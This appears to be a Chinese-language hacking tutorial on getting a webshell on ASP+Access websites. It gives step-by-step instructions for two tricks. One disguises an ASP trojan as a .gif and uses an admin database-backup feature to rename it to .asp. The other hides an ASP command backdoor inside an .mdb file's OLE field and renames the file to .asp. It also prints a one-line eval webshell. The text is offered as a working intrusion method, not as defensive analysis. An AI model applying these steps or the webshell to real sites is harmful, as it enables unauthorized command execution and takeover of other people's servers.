|
利用Access数据库得到Webshell
大家好,今天主讲的内容是:\"利用access数据库得到webshell\"
---------------------------------------------------------------
在ASP+MSSQL情况下injection直接得到一个webshell是很平常的事情,但是在ASP+ACCESS下却是一件不可
能完成的任务,因为ACCESS的弱智SQL语句很难让你有所作为.不过,巧妙利用ACCESS程序的一些特性,我们
也可以音接得到一个webshell.
----------------------------------------------------------------
步骤一:利用ACCESS数据库备份得到shell
我曾经通过常规注射方法拿到一个下载系统的后台密码.但是进入后台后却发现,程序不让你上传.asp.asa.cdx.cer等文件,只允许图像和RAR压缩文档上传,只允许图像和RAR压缩文档上传,看样子程序编写者还是很注重防范ASP木马的.难道就这样放弃吗?我在后台翻来倒去,发现了一个数据库备份功能.
利用SQL语句来备份数据库?好像我还不知有这样的针对ACCESS的SQL语句.如果我估计不错的话,应当就是
调用了ASP的FSO功能将当前数据库文件COPY到另一个路径而已.于是我将海阳顶端网ASP木马2004.ASP改成
2004.gif上传到了该下载系统空间,然后做了这样的设置:
--------------------------------
当前数据库路径:database/2004.gif
备份数据库目录:databackup
备份数据库名称:2004.asp
--------------------------------
意思是将2004.gif备份到另一个路径,文件名变为2004.asp.点\"备份数据\"按钮后,我成功的得到了一个
webshell.这应当可以作为一个通用的变通得到webshell的方法,在bbsxp论坛我也成功的测试过.
----------------------------------------------------------------
步骤二:利用数据库防下载功能得到webshell
防止ACCESS数据库被下载,通常的做法是在数据库某个表中增加一个OLE字段,字段里写入一个包含\"<%\"的
二进制数据,然后将.mdb后缀改成.asp就可以防止下载了,这种作法的在朱理其实就是把这个.mdb变成.asp
文件,而.asp文件自然无法下载.想到了没有?如果这里我们在.mdb文件里写入一个ASP的后门代码的话,肯定它也会执行的.来吧,一步一步跟我做.
我在网上随便找了一个文章系统的article.mdb文件.用ACCESS2003打开建了一个nodown字段,数据类型为OLE对象,根据提示保存表名为nodown表.这里我没有给nodown表设定主键.
然后双击nodwon表,点ACCESS2003的插入菜单里的对象选项,在弹出的对话框中选择由文件创建选项.
关键的一步到了,我将以下代码保存成为1.asp然后再点击\"浏览\"按钮插入1.asp.
大功告成,我们现在已经可以把这个article.mdb改名为*.asp来当ASP木马使用了.这里我写的这段ASP代码的用法是:*.asp?c=cmd命令,如*.asp?c=dir+C:\\.我们来看看这个arrticle.mdb改名为lcx.asp后如何运行.输入http://127.0.0.1:3005/6k/lcx.asp?c=dir+d:\\,在浏览器里得到了一大堆的乱码,拉动IE下拉条,成功看到了D:的目录列表.
也许你觉得我写的这段ASP代码太简略,功能也简单,你可以尝试一下冰狐浪子的ASP代码.
不过要注意的是,写的ASP代码只写<script runat=server language=javascript>evel(request.form(’#\")+’’)</script>这一句即可.
当然,我的方法也不能保证百分百成功,但成功率是很高的.这样把ASP代码插入在网站的ACCESS数据库中,是多么巧妙可怕呀! |
|